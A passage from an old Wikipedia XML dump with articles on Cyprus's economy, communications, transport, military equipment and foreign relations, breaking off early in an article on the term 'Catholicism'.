'''GDP:'''
Greek Cypriot area: purchasing power parity - $9 billion; Turkish Cypriot area: purchasing power parity - $820 million (1998 est.)

'''GDP - real growth rate:'''
Greek Cypriot area: 3.7%

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;&quot;
|-----
! style=&quot;background:#efefef;&quot; | Year
! style=&quot;background:#efefef;&quot; | GDP &lt;br /&gt; &lt;small&gt;in billions of USD PPP &lt;br /&gt; &lt;/small&gt;
! style=&quot;background:#efefef;&quot; | % GDP Growth
|- align=&quot;right&quot;
! align=&quot;left&quot;|2002
| 14.397 || 2.1
|- align=&quot;right&quot;
! align=&quot;left&quot;|2003
| 14.953 || 1.9
|- align=&quot;right&quot;
! align=&quot;left&quot;|2004
| 15.764 || 3.7
|- align=&quot;right&quot;
! align=&quot;left&quot;|2005
| 16.745 || 3.8
|- align=&quot;right&quot;
! align=&quot;left&quot;|2006
| 17.772 || 4.0
|- align=&quot;right&quot;
|}

Turkish Cypriot area: 5.3% (1998 est.)

'''GDP - per capita:'''
Greek Cypriot area: purchasing power parity - $15,400; Turkish Cypriot area: purchasing power parity - $5,000 (1998 est.)

'''GDP - composition by sector:'''
Greek Cypriot area: agriculture 6.3%, industry 22.4%, services 71.3%; Turkish Cypriot area: [[agriculture]] 11.8%, [[industry]] 20.5%, services 67.7% (1998)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
Greek Cypriot area: 2.3% (1998 est.); Turkish Cypriot area: 66% (1998 est.)

'''Labor force:'''
Greek Cypriot area: 289,400; Turkish Cypriot area: 80,200 (1998)

'''Labor force - by occupation:'''
Greek Cypriot area: services 66.6%, industry 23.2%, agriculture 10.2% (1998); Turkish Cypriot area: services 55.4%, industry 21.6%, agriculture 23% (1997)

'''Unemployment rate:'''
Greek Cypriot area: 3.3% (1998 est.); Turkish Cypriot area: 6.4% (1997)

'''Budget:'''
&lt;br&gt;''revenues:''
Greek Cypriot area - $2.9 billion (1998); Turkish Cypriot area - $171 million (1997 est.)
&lt;br&gt;''expenditures:''
Greek Cypriot area - $3.4 billion, including capital expenditures of $345 million (1998); Turkish Cypriot area - $306 million, including capital expenditures of $56.8 million (1997 est.)

'''Industries:'''
food, beverages, textiles, chemicals, metal products, tourism, wood products

'''Industrial production growth rate:'''
Greek Cypriot area: 2.4% (1998); Turkish Cypriot area: 5.1% (1997)

'''Electricity - production:'''
Greek Cypriot area: 2,675 GWh; Turkish Cypriot area: NA kWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
Greek Cypriot area: 2,488 GWh; Turkish Cypriot area: NA kWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
potatoes, citrus, vegetables, barley, grapes, olives, vegetables

'''Exports:'''
Greek Cypriot area: $1.1 billion (f.o.b., 1998 est.); Turkish Cypriot area: $63.9 million (f.o.b., 1998)

'''Exports - commodities:'''
Greek Cypriot area: citrus, [[potatoes]], [[grapes]], [[wine]], [[cement]], clothing and shoes; Turkish Cypriot area: [[citrus]], [[potatoes]], [[textiles]] (1998)

'''Exports - partners:'''
Greek Cypriot area: UK 14.5%, Russia 14.5%, Greece 9.8%, [[Lebanon]] 5.5%, [[UAE]] 4.9%; Turkish Cypriot area: Turkey 47%, UK 26%, other EU 15% (1998)

'''Imports:'''
Greek Cypriot area: $3.5 billion (f.o.b., 1998 est.); Turkish Cypriot area: $374 million (f.o.b., 1997)

'''Imports - commodities:'''
Greek Cypriot area: consumer goods, [[petroleum]] and lubricants, food and feed grains, machinery (1998); Turkish Cypriot area: food, [[minerals]], [[chemicals]], [[machinery]] (1997)

'''Imports - partners:'''
Greek Cypriot area: US 12.5%, UK 11.3%, [[Italy]] 9.4%, [[Germany]] 8.5%, Greece 8.2% (1998); Turkish Cypriot area: Turkey 56.4%, UK 13.5%, other EU 12.2% (1997)

'''Debt - external:'''
Greek Cypriot area: $1.27 billion; Turkish Cypriot area: $NA (1998)

'''Economic aid - recipient:'''
Greek Cypriot area - $17 million (1998); Turkish Cypriot area - $700 million from Turkey in grants and loans (1990-97) that are usually forgiven

'''Currency:'''
Greek Cypriot area: 1 Cypriot pound = 100 cents; Turkish Cypriot area: 1 Turkish lira (TL) = 100 kurus

'''Exchange rates:'''
Cypriot pounds per [[United States dollar|US$]]1 - 0.5688 (January [[2000]]), 0.5423 ([[1999]]), 0.5170 (1998), 0.5135 (1997), 0.4663 (1996), 0.4522 (1995); Turkish liras (TL) per US$1 - 545,584 (January 2000), 418,783 (1999), 260,724 (1998), 151,865 (1997), 81,405 (1996), 45,845.1 (1995)

'''Fiscal year:'''
[[calendar year]]

==See also==
*[[Economy of Europe]]
*[[Cyprus]]

{{EU countries}}
{{Europe_in_topic|Economy of}}
{{Asia in topic|Economy of}}
[[Category:Economy of Cyprus| ]]
[[Category:European Union member economies]]
[[Category:Economies by country]] 

[[bg:Стопанство на Кипър]]
[[es:Economía de Chipre]]
[[pt:Economia do Chipre]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Cyprus</title>
    <id>5599</id>
    <revision>
      <id>30877644</id>
      <timestamp>2005-12-11T00:49:29Z</timestamp>
      <contributor>
        <ip>195.14.132.91</ip>
      </contributor>
      <text xml:space="preserve">==Telecommunications==
[[Telecommunications]] and [[Internet]] connections are operated mainly by [[Cyta]].

'''Telephones - main lines in use:'''
Greek Cypriot area: 405,000 (1998); Turkish Cypriot area: 70,845 (1996)

'''Telephones - mobile cellular:'''
Greek Cypriot area: 68,000 (1998); Turkish Cypriot area: 70,000 (1999)

'''Telephone system:'''
excellent in both the Greek Cypriot and Turkish Cypriot areas
&lt;br&gt;''domestic:''
open wire, fiber-optic cable, and microwave radio relay
&lt;br&gt;''international:''
tropospheric scatter; 3 coaxial and 5 fiber-optic submarine cables; satellite earth stations - 3 Intelsat (1 [[Atlantic Ocean]] and 2 [[Indian Ocean]]), 2 Eutelsat, 2 Intersputnik, and 1 Arabsat

==Broadcasting==
The [[Cyprus Broadcasting Corporation]] (CyBC) ( [[Greek language|Greek]] &amp;#929;&amp;#921;&amp;#922;) is the main broadcaster in the Greek Cypriot area, although there are also privately-owned radio and TV stations. A TV channel from [[Greece|Greek]] state broadcaster [[Elliniki Radiophonia Tileorassi|ERT]] is also available. The [[British Forces Broadcasting Service]] also operates radio and TV stations, although the TV signal is now confined to the [[Sovereign Base Area]]s or encrypted for copyright reasons.
In the [[TRNC|Turkish Cypriot area]], [[Bayrak|Bayrak Radio Televizyon]] is the local broadcaster, with radio and TV from [[Turkey|Turkish]]  state broadcaster [[Turkish Radio and Television Corporation|TRT]] also available.  The [[Republic of Cyprus]] regards Bayrak Radyo Televizyon as an illegal pirate broadcaster.

'''Radio broadcast stations:'''
Greek Cypriot area: AM 7, FM 60, shortwave 1 ([[1998]]); Turkish Cypriot area: AM 3, FM 11, shortwave 1 ([[1998]])

'''Radios:'''
Greek Cypriot area: 310,000 ([[1997]]); Turkish Cypriot area: 56,450 ([[1994]])

'''Television broadcast stations:'''
Greek Cypriot area: 4 plus 225 low-power repeaters; Turkish Cypriot area: 4 plus 5 repeaters (September [[1995]])

'''Televisions:'''
Greek Cypriot area: 248,000 ([[1997]]); Turkish Cypriot area: 52,300 (1994)

==Internet==

'''Internet Service Providers (ISPs):'''
5 (1999)

[[ADSL]] is currently only available in Greek Cypriot area.

==International codes==

'''[[Country codes]]:''' CY (The [[non-recognized nations|de facto state]] of [[Turkish Republic of Northern Cyprus]] uses the code NC.TR (TRNC)

'''[[Country calling code]]:''' 357 ''(Northern Cyprus 90 392, via Turkey)''

 

[[Category:Communications in Cyprus| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Cyprus</title>
    <id>5600</id>
    <revision>
      <id>38851058</id>
      <timestamp>2006-02-09T01:17:34Z</timestamp>
      <contributor>
        <ip>71.198.141.17</ip>
      </contributor>
      <comment>/* Highways */</comment>
      <text xml:space="preserve">This article contains a summary of information on the transport infrastructure in the country of [[Cyprus]].

Cyprus has no working [[railway]] system.  The last railway was dismantled in [[1950]].

== Highways ==
''total:''
Greek Cypriot area: 10,663 km (1998 est.); Turkish Cypriot area: 2,350 km (1996 est.)

''paved:''
Greek Cypriot area: 6,249 km (1998 est.); Turkish Cypriot area: 1,370 km (1996 est.)

''unpaved:''
Greek Cypriot area: 4,414 km (1998 est.); Turkish Cypriot area: 980 km (1996 est.)

Driving is on the left.

Intercity motorways:
* A1 (Nicosia-Limassol)
* A2 (A1-Larnaca)-merges with A1 near Pera Chorio
* A3 (Larnaca-Agia Napa-Paralimni)
* A5 (A1-Larnaca)-merges with A1 near Kofinou
* A6 (Pafos-Limassol)

== Ports and harbors ==
[[Famagusta]], [[Kyrenia]] ([[Turkish Republic of Northern Cyprus|Northern Cyprus]]), [[Larnaca]], [[Limassol]], [[Paphos]], [[Vasilikos]]

== Merchant marine ==
''total:''
1,414 ships (1,000 GRT or over) totaling 23,497,776 GRT/37,331,506 DWT

''ships by type:''
barge carrier 2, bulk 442, cargo 495, chemical tanker 22, combination bulk 40, combination ore/oil 8, container 144, liquified gas 6, passenger 8, petroleum tanker 142, refrigerated cargo 41, roll-on/roll-off 45, short-sea passenger 13, specialized tanker 4, vehicle carrier 2 ([[1999]] est.)

''note:''
a flag of convenience registry; [[includes ships from 37 countries among which are [[Greece]] 611, [[Germany]] 129, [[Russia]] 49,]] [[Latvia]] 278, [[Netherlands]] 20, [[Japan]] 28, [[Cuba]] 16, [[China]] 15, [[Hong Kong]] 13, and [[Poland]] 15 ([[1998]] est.)

== Airports ==
15 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
12
&lt;br&gt;''2,438 to 3,047 m:''
7
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
3
&lt;br&gt;''under 914 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
2 (1999 est.)

'''Heliports:'''
6 (1999 est.)


{{Europe_in_topic|Transportation in}}

[[Category:Transport in Cyprus| ]]
[[Category:Transportation by country|Cyprus]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Cyprus</title>
    <id>5601</id>
    <revision>
      <id>36859050</id>
      <timestamp>2006-01-26T23:01:04Z</timestamp>
      <contributor>
        <username>KRBN</username>
        <id>695292</id>
      </contributor>
      <text xml:space="preserve">&lt;table border=1 width=300 cellpadding=2 cellspacing=0 align=right style=&quot;margin-left:1em&quot;&gt;
&lt;tr&gt;&lt;th colspan=2 align=center bgcolor=#8888dd&gt;'''Military of Cyprus'''
&lt;tr&gt;&lt;td colspan=2  align=center&gt;'''Military manpower'''
&lt;tr&gt;&lt;td&gt;Military age&lt;td&gt;18 years of age
&lt;tr&gt;&lt;td&gt;Availability&lt;td&gt;males 15-49:184,352 (2005 est.)
&lt;tr&gt;&lt;td&gt;Fit for military service&lt;td&gt;males 15-49: 150,750 (2005 est.)
&lt;tr&gt;&lt;td&gt;Reaching military age annually&lt;td&gt;males 6,578 (2005 est.)
&lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military expenditures'''
&lt;tr&gt;&lt;td&gt;Dollar figure&lt;td&gt; $384 million (FY02)
&lt;tr&gt;&lt;td&gt;Percent of GDP&lt;td&gt; 3.8% (FY02)
&lt;/table&gt;
The '''Military of Cyprus''' is comprised of the [[Cypriot National Guard]], a [[combined arms]] force with land, [[navy|naval]] and [[airforce|air]] elements.

[[Greece]] maintains the [[Hellenic Forces Regiment on Cyprus]] (ELDYK) on the island, but this is not part of the Republic of Cyprus military.

This article focuses on the forces loyal to the ''de jure'' government of Cyprus.  For information on the military capabilities of the [[non-recognized nations|de facto]] [[Turkish Republic of Northern Cyprus]], see [[Turkish Cypriot Security Force]] 

== Conscription ==
''See main article:'' [[Conscription in Cyprus]]

Military service in the [[Republic of Cyprus]] is mandatory for males.  The minimum obligatory service period is 18 months.

All male visitors to the island of military age (16 and over) who have a father of Cypriot extraction are required to obtain an exit visa from a Defence Ministry office.

== Equipment ==
The [[United States of America]] has an arms embargo on any recent US weapons being used by either side. The Greek Cypriot side was recently criticised for acquiring a self-propelled artillery guns (subsequently returned) from the Greek National Army for breaching this embargo.

The Turkish Cypriot side, which controls approximately 38% of the island, has also been heavily criticised for numerous breaches of the embargo.

Standard Infantry equipment used in Cyprus is the G3 Automatic rifle, both by Greek Cypriot and Turkish Cypriot Forces.

[[Image:G3a.jpg|thumb|left|Rifle Training with the G3]]

== Main Battle Tanks == 

*  '''AMX30 - (Type: AMX30-B2)''' 

[[Image:ARMY_PICS_AMXB2.jpg|thumb|left|Cypriot AMX30-B2]]

The French made AMX 30 B2 has been in the arsenal of the Cyprus National Guard since the [[1980s]]. Currently the AMX 30 B2 has undergone several upgrades since its original purpose, none of which is more impressive than the ability to fight in all conditions. Night time fighting ability and the ability to fire while in motion make this main battle tank a worthy opponent on the field of battle.

Most notable of all is that the Cyprus National Guard maintains these vehicles in excellent condition. As a result of their high degree of readiness, and all the upgrades over the years, this tank is capable of continuing its role as the main battle tank of choice for Cypriot field commanders. It might not be as flashy as the T-80U, but its a better work horse in battle.

*  [[T-80]] ('''Type: T-80U''') 

[[Image:ARMY_PICS_T80.jpg|thumb|left|Cypriot T-80U]] [[Image:T80 in field.jpg|thumb|right|Cypriot T-80U during the Nikiforos Training Exercise]]

The T-80U is a next generation platform of armor, which is equivalent in its lethality to all other armor options in the European theatre. Capability of firing both anti-tank missiles and projectiles while moving, the T-80U represents the most durable and capable defensive weapon that the Cypriots have in case of a military conflict.

The T-80U has a crew of three.

*  [[M48]] ('''Type: M48A5''', belonging to the Greek Army, stationed in Cyprus)

[[Image:M48A5-2.jpg|thumb|Right|A M48A5 Battle Tank]]

Armament:         1 - 105mm M68 rifled gun
                            1 - 7.62mm coaxial MG
                            1 - 12.7mm AA MG
Engine:               Continental, AVDS-1790-2D, V-12, diesel super-
                            charged, 750 hp
Speed;               30 mph
Range:               300 miles
Crew:                 4
Weight:              50 tons

This model used the 105mm M68 gun of the M60 tank as well as the diesel engine. The large cupola of the earlier M48s was replaced with an Israeli  designed low profile version. Suspension and tracks were upgraded. No longer in service in the U.S. Upgraded by many allied countries to the M60 standard. Final model of the M48 line.

* '''EE-9 Cascavel'''

[[Image:ARMY_PICS_CASCAVEL.jpg|thumb|left|Cypriot Cascavel Light Tank]]

In the late 1990's Brazil began to flex its muscles in the weapons market, and one of the results was the introduction of the EE-9 Cascavel to the Cyprus National Guard. The Cascavel is in essence an all-purpose armored vehicle. It can be used to spearhead an attack, or it can be used as a purely defensive weapon, depending on the scenario.

The small frame of the Cascavel makes it difficult to square off with a main battle tank, but that was never its purpose. The Cascavel is meant to give infantry just the right amount of protection to complete its mission. A crew of three mans this vehicle.

== Armoured Personnel Carriers ==
* [[BMP-3]]

[[Image:ARMY_PICS_BMP3.jpg|left|thumb|Cypriot BMP-33]] [[Image:dug-in BMP3.jpg|thumb|right|BMP-3 in cover position during Nikiforos Training Exercise]]

The BMP-3 has been around for over four decades, and has gone through three major variations, the -1, -2 and -3 variants. The latest variant is the BMP-3, which has both troop transport capability, as well as anti-tank and as well as anti-personnel capability. It is also fully amphibious. 10 fully armed soldiers can be transported in this armored infantry vehicle.

The BMP-3 program aims to increase the ability of the Cyprus National Guard to be rapidly mobile in response to the needs of battle. The crew of the BMP-3 includes one driver, and a gunner.

* [[Leonidas]] (APC Designed and Manufactured in Greece)

[[Image:ARMY_PICS_LEONIDAS.jpg|thumb|left|Cypriot Leonidas AIFV]]

Developed by a consortium that includes [[Daimler Steyr]] and the [[Hellenic Defence Industry]] (EBO), the &quot;Leonidas&quot; armored infantry fighting vehicle, or AIFV, is the backbone of both the [[Greek Army]] and the Cypriot National Guard. The &quot;Leonidas&quot; can carry 12 fully armed soldiers into battle.

The &quot;Leonidas&quot; is also the progenitor of the &quot;[[Kentauros]]&quot; next generation AIFV that Greece is developing, hoping to capture an export market. &quot;Kentauros&quot; is meant to match the capabilities of the American Bradley AIFV which has seen use in both the first and second Persian [[Gulf war]].

The &quot;Leonidas&quot; has a crew of two.

* [[VAP]]('''Type: VAB VCI''')

[[Image:ARMY_PICS_VAB-VCI.jpg|thumb|left|Cypriot VAB-VCI type]]

The French firm [[GIAT]] thought of putting a 30mm anti-infantry gun on top of a VAB troop transport, and the Cyprus National Guard liked that idea and inducted the VAB VCI Variant into its ranks. As a reconnaissance vehicle, the VAB VCI allows for rapid entrance and exit to the field of battle, and the ability with its 30mm gun to do severe damage to soft targets like radar emplacements and low flying objects like helicopters.

The Cyprus National Guard retains high degrees of war-time information gathering capabilities by having weapons like the VAB VCI on hand. The VAB VCI can also transport 8 fully armed me into battle in addition to a driver, a navigator and a gun operator.

* [[VAP]] ('''Type: VAB NG''')

[[Image:ARMY_PICS_VAB NG.jpg|thumb|left|Cypriot VAB NG Type]]

The VAB NG has about 1400 improvements from the original model, and the Cyprus National Guard is in the process of making the transition to the NG standard. The VAB NG can carry up to 12 armed soldiers into battle, including a driver and a navigator. The VAB is a product of the French firm GIAT, and is a completely amphibious vehicle, with all terrain capability.

The Cyprus National Guard uses the VAB as a robust troop transporting workhorse, usually in conjunction with the need to pull large transport dollies for water, fuel and ammunition. In this capacity the VAB resembles more a donkey on wheels.

== Mobile Anti-Tank Weapons ==
* '''VAB with''' [[MILAN-3]] '''AT Missile'''

[[Image:ARMY_PICS_VAB-MILAN.jpg|thumb|left|Fully Loaded VAB with 4 MILAN Tubes]]

In the mid-[[1990s]], France's GIAT announced it had developed a new variant of the MILAN anti-tank missile. The variant, known as MILAN-3 was capable of out smarting anti-missile defences, and was capable of destroying armored targets with reactive armor, the latest defence against anti-tank missiles at that time.

GIAT placed the MILAN-3 on top of their already popular VAB troop carrier, and the Cyprus National Guard inducted this lethal defensive weapon into its arsenal. To date only [[Cyprus]], [[France]] and two other countries utilize the VAB MILAN-3 platform.

The VAB Milan-3 can carry 8 troops into battle, with an additional crew of three to drive, navigate and fire the main weapon (MILAN-3)

*  '''EE-3 Jararaca with MILAN-3 AT Missile'''

[[Image:ARMY_PICS_Jararaca.jpg|thumb|left|Cypriot Jararaca with one MILAN-3 AT Missile]]

Remember earlier when we mentioned the VAB+MILAN-3 combination and how lethal it can be... now imagine placing that kind of firepower on a vehicle with increased fuel efficiency, endurance and speed... what you get is the Jararaca Anti-Tank variant with MILAN-3 launcher.

Each vehicle has a crew of two only, one driver, one gunner. Each vehicle can carry up to 7 (one already loaded, six in the cabin) MILAN-3 missiles. The Cyprus National Guard uses this vehicle as a scout to search and destroy enemy armor.

== Airforce ==
The Republic of Cyprus has no airforce in terms of fighter and bomber airplanes. It mainly consists of Helicopters (both Transport Helicopters and Attack Helicopters), radar systems and major anti-aircraft systems. In terms of Airplanes, two photo-reconnaissance planes are operated, however one of them was lost in a training accident in September 2005 with both pilots dead. 
The most tragic accident however occurred on the [[10th July]] [[2002]], when a transport helicopter crashed, killing all five passengers. Within the passengers was the Commander of the National Guard, Lieutenant General Evangelos Florakis. The other four were the Commander of Cypriot Air Force Brigadier Stelios Demenegas, Lieutenant Nikos Georgiou and the two helicopter pilots, Flight Lieutenant Paris Athanasiades and Flank Officer Michalis Shiakallis. 

* '''Gazelle Helicopter With HOT AT Missile'''

[[Image:ARMY_PICS_GAZELLE.jpg|thumb|left|Cypriot Gazelle Helicopter in Helipad]]

In the late 1980's Cyprus purchased these scout helicopters from France with the purpose of using them for advanced scout missions for search and destroy scenarios. Each Gazelle can carry four HOT missiles into battle.

The HOT missile platform is an older anti-tank missile platform, but it serves the purpose of giving the Cyprus National Guard an air scouting ability with increased lethality.

* [[Mi-24|Mil Mi-35]]

[[Image:ARMY_PICS_MI-25.jpg|thumb|left|Mi-35 with Armament]] [[Image:Cypriot Mil-35 firing.jpg|thumb|right|Cypriot Mi-35 firing AT Missiles during training]]

The Mil Mi-35 is the export version of the [[Mi-24]] attack transport helicopter. Designed originally as a platform for both troop transport and anti-tank operations, the Mi-35 has evolved into a lethal anti-tank platform using the [[ATAKA]] anti-tank missile system. The Mi-35 can carry up to 8 ATAKA missiles into battle, including two salvos of anti-personnel rockets and a powerful 30mm machine gun. The Mi-35 can carry in addition eight fully armed troops (air cavalry or commandos) and a crew of two.

*PC-9A Pilatus Aircraft

[[Image:Pc9 in flight.jpg|thumb|left|A PC-9/A during a training flight, in Cypriot colouring]]

The PC-9/A is a two-seat single engine turboprop aircraft and is the major basic training aircraft for the Australian Defence Force (ADF). 
Manufacturer  	Pilatus
Role 	Two seat advanced trainer; forward air controland aerobatics
Engine 	Pratt and Whitney PT6A- 62 turboprop- 950 shaft horsepower (708 kW)
Airframe 	Length: 10.18 m Height: 3.28 m
Wingspan 	10.24 m
Weight 	2, 250 basic, 2710 kg maximum (PC-9/A (F) max 3210 kg)
Range 	(with two underwing tanks) 1,850km, combat radius 650 km
Ceiling 	25,000 ft
Weapons 	Two underwing smoke grenade launchers Avionics VHF omni directional range/ instrument landing system, two multi-functional cathode ray tube displays
Crew 	Pilot, observer/student

{{sectstub}}

==See also==
*[[Cyprus]]
* [[Akrotiri and Dhekelia|UK sovereign base areas]]

{{Cypriot Military}}

[[Category:Military of Cyprus|Military of Cyprus]]
[[Category:Militaries|Cyprus]]</text>
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      <text xml:space="preserve">{{Politics of Cyprus}}
[[Cyprus]] has historically followed a non-aligned foreign policy, although it increasingly identifies with the West in its cultural affinities and trade patterns, and maintains close relations with [[Greece]]. 

The prime originator of Cypriot non-alignment was [[Makarios III]], the first [[Presidents of Cyprus|President]] ([[1960]]-[[1977|77]]) of the independent republic of Cyprus. Prior to independence, Makarios - by virtue of his post as [[List of Archbishops of Cyprus|Archbishop of Cyprus]] and head of the [[Cypriot Orthodox Church]] - was the Greek Cypriot Ethnarch, or [[de facto]] leader of the community. A highly influential figure well before independence, he participated in the 1955 [[Bandung Conference]]. After independence, Makarios took part in the 1961 founding meeting of the [[Non-Aligned Movement]] in [[Belgrade]].

Reasons for this neutrality may lie in the extreme pressures exerted on the infant Republic by its larger neighbours, Turkey and Greece. [[Cyprus dispute | Intercommunal rivalries]] and movements for [[Enosis | union with Greece]] or partial union with Turkey may have persuaded Makarios to steer clear of close affiliation with either side. In any case Cyprus became a high-profile member of the Non-Aligned Movement and retained its membership until its entry into the [[European Union]] in [[2004]].

Immediately after the [[1974]] Greek-sponsored [[coup d'etat]] and the [[Turkish Invasion of Cyprus|Turkish invasion]], Makarios secured international recognition of his administration as the legitimate government of the whole island. This was disputed only by [[Turkey]], which currently recognises only the [[Turkish Republic of Northern Cyprus]], established in [[1983]]. 

Since the 1974 crisis, the chief aim of the foreign policy of the Republic of Cyprus has been to secure the withdrawal of Turkish forces and the reunification of the island under the most favourable constitutional and territorial settlement possible. This campaign has been pursued primarily through international forums such as the [[United Nations]] and the [[Non-Aligned Movement]], and in recent years through the European Union.

Cyprus' [[1990]] application for full [[European Union|EU]] membership caused a storm in the Turkish Cypriot community, which argued that the move required their consent. Following the December [[1997]] EU Summit decisions on [[EU enlargement]], accession negotiations began [[31 March]] [[1998]]. Cyprus joined the European Union on [[1 May]] [[2004]]. To fulfil its commitment as a member of the European Union, Cyprus finally withdrew from the Non-Aligned Movement on accession.

The Government of Cyprus enjoys close relations with Greece. Cyprus is expanding relations with [[Russia]], [[Israel]], and [[Syria]], from which it purchases most of its oil.

Cyprus is a member of the [[United Nations]] and most of its agencies as well as the [[World Bank]], [[International Monetary Fund]], [[Council of Europe]], and the [[Commonwealth of Nations]]. In addition, the country has signed the [[General Agreement on Tariffs and Trade]] (GATT) and the [[Multilateral Investment Guarantee Agency Agreement]] (MIGA). 

'''Disputes - international:'''
The 1974 invasion of the Turkish army divided the island into two [[de facto]] autonomous areas, a Greek Cypriot area controlled by the internationally recognised Cypriot Government (59% of the island's land area) and a [[TRNC|Turkish-Cypriot area]] (37% of the island) which declared [[Declaration of Independence of the Turkish Republic of Northern Cyprus|UDI]] in [[1983]], that are separated by a [[United Nations]] [[UN Buffer Zone on Cyprus|buffer zone]] (4% of the island); there are two [[Sovereign Base Areas|UK sovereign base areas]] mostly within the Greek Cypriot portion of the island.

'''Illicit drugs:'''
Cyprus is a minor transit point for [[heroin]] and [[hashish]] via air routes and container traffic to [[Europe]], especially from [[Lebanon]] and [[Turkey]]; some [[cocaine]] transits as well

:''See also :'' [[Cyprus]]
:[[Foreign relations of Northern Cyprus]]
{{Europe_in_topic|Foreign relations of}}
[[Category:Foreign relations of Cyprus| ]]
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      <text xml:space="preserve">{{christianity}}
:''This article considers Catholicism in the broadest ecclesiastical sense. See [[Catholicism (disambiguation)]] for alternative meanings''

'''''Catholicism''''' has two main [[ecclesiastical]] meanings, described in [[Webster's Dictionary]] as: a) &quot;the whole orthodox Christian church, or adherence thereto&quot;; and b) &quot;the doctrines or faith of the [[Roman Catholic Church|Roman Catholic church]], or adherence thereto.&quot; [[#Footnotes|&lt;font size=-2&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/font&gt;]]

The term ''Catholicism'', derived from the [[Greek language|Greek]] adjective &amp;#954;&amp;#945;&amp;#952;&amp;#959;&amp;#955;&amp;#953;&amp;#954;&amp;#972;&amp;#962; (katholikos), meaning &quot;general&quot; or &quot;universal&quot;, is widely understood to refer to the Church, governed by the [[Pope|Bishop of Rome]] and the bishops in [[Communion (Christianity)|communion]] with him. However, other Churches that trace their historic episcopate to the apostolic succession &amp;mdash; such as the [[Oriental Orthodox]] Churches, the [[Eastern Orthodox]] Churches, the [[Assyrian Church of the East]], the Churches of the [[Anglican Communion]], and the [[Old Catholic Church|Old-Catholics]] &amp;mdash; consider themselves to be branches of the Catholic Church. [[Neo-Lutheranism]] argues that Lutheran Churches are simply a Protestant reform movement that remains within the greater Church catholic.

==The term &quot;Catholic Church&quot;==
A letter that, in about [[107]], [[Ignatius of Antioch|Saint Ignatius, Bishop of Antioch]] wrote to Christians in Smyrna, is the earliest surviving witness to the use of the term &quot;catholic Church&quot; (Smyrnaeans, 8).[http://www.ccel.org/fathers2/ANF-01/anf01-21.htm#P2233_373220] By it Saint Ignatius designated the Christian Church in its universal aspect, excluding [[heresy|heretics]], such as those who disavow &quot;the Eucharist to be the flesh of our Saviour Jesus Christ, which suffered for our sins, and which the Father, of His goodness, raised up again&quot; (Smyrnaeans, 7).[http://www.ccel.org/fathers2/ANF-01/anf01-21.htm#P2216_370671] He called such people &quot;beasts in the shape of men, whom you must not only not receive, but, if it be possible, not even meet with&quot; (Smyrnaeans, 4).[http://www.ccel.org/fathers2/ANF-01/anf01-21.htm#P2179_364822]

Yet more explicit was the manner in which Saint Cyril of Jerusalem (circa [[315]]-[[386]]) used the term &quot;catholic Church&quot; precisely to distinguish this Church from heretical &quot;Churches&quot;. He urged: &quot;If ever thou art sojourning in cities, inquire not simply where the Lord's House is (for the other sects of the profane also attempt to call their own dens houses of the Lord), nor merely where the Church is, but where is the Catholic Church. For this is the peculiar name of this Holy Church, the mother of us all, which is the spouse of our Lord Jesus Christ, the Only-begotten Son of God&quot; (Catechetical Lectures, XVIII, 26).[http://www.newadvent.org/fathers/310118.htm]

Only slightly later, when Christians still applied the word &quot;priest&quot; only to [[bishop]]s and not yet to those who are now called &quot;priests&quot; in English, Saint [[Augustine of Hippo]] (354-430) wrote:
:&quot;In the Catholic Church, there are many other things which most justly keep me in her bosom. The consent of peoples and nations keeps me in the Church; so does her authority, inaugurated by miracles, nourished by hope, enlarged by love, established by age. The succession of priests keeps me, beginning from the very seat of the [[Apostle Peter]], to whom the Lord, after His resurrection, gave it in charge to feed His sheep (Jn 21:15-19), down to the present episcopate.
:&quot;And so, lastly, does the very name of Catholic, which, not without reason, amid so many heresies, the Church has thus retained; so that, though all heretics wish to be called Catholics, yet when a stranger asks where the Catholic Church meets, no heretic will venture to point to his own chapel or house.
:&quot;Such then in number and importance are the precious ties belonging to the Christian name which keep a believer in the Catholic Church, as it is right they should ... With you, where there is none of these things to attract or keep me... No one shall move me from the faith which binds my mind with ties so many and so strong to the Christian religion... For my part, I should not believe the gospel except as moved by the authority of the Catholic Church.&quot; 
: &amp;mdash; St. Augustine (354&amp;ndash;430): &lt;i&gt;Against the Epistle of Manichaeus called Fundamental&lt;/i&gt;, chapter 4: Proofs of the Catholic Faith[http://www.ccel.org/pager.cgi?&amp;file=fathers/NPNF1-04/augustine/bk_fundamental/bk1.html&amp;from=CHAP4&amp;up=]

A contemporary of Augustine, [[St. Vincent of Lerins]], wrote in 434 under the pseudonym Peregrinus a work known as the ''Commonitoria'' (&quot;Memoranda&quot;). While insisting that, like the human body, Church doctrine develops while truly keeping its identity (sections 54-59, chapter XXIII), he stated: &quot;[I]n the Catholic Church itself, all possible care must be taken, that we hold that faith which has been believed everywhere, always, by all. For that is truly and in the strictest sense 'Catholic,' which, as the name itself and the reason of the thing declare, comprehends all universally. This rule we shall observe if we follow universality, antiquity, consent. We shall follow universality if we confess that one faith to be true, which the whole Church throughout the world confesses; antiquity, if we in no wise depart from those interpretations which it is manifest were notoriously held by our holy ancestors and fathers; consent, in like manner, if in antiquity itself we adhere to the consentient definitions and determinations of all, or at the least of almost all priests and doctors&quot; (section 6, end of chapter II).

==Divergent interpretations of the term &quot;Catholic Church&quot;==

Many Christians (and [[Christian denominations|denominations]]) see themselves as &quot;catholic&quot;. They fall into two groups:

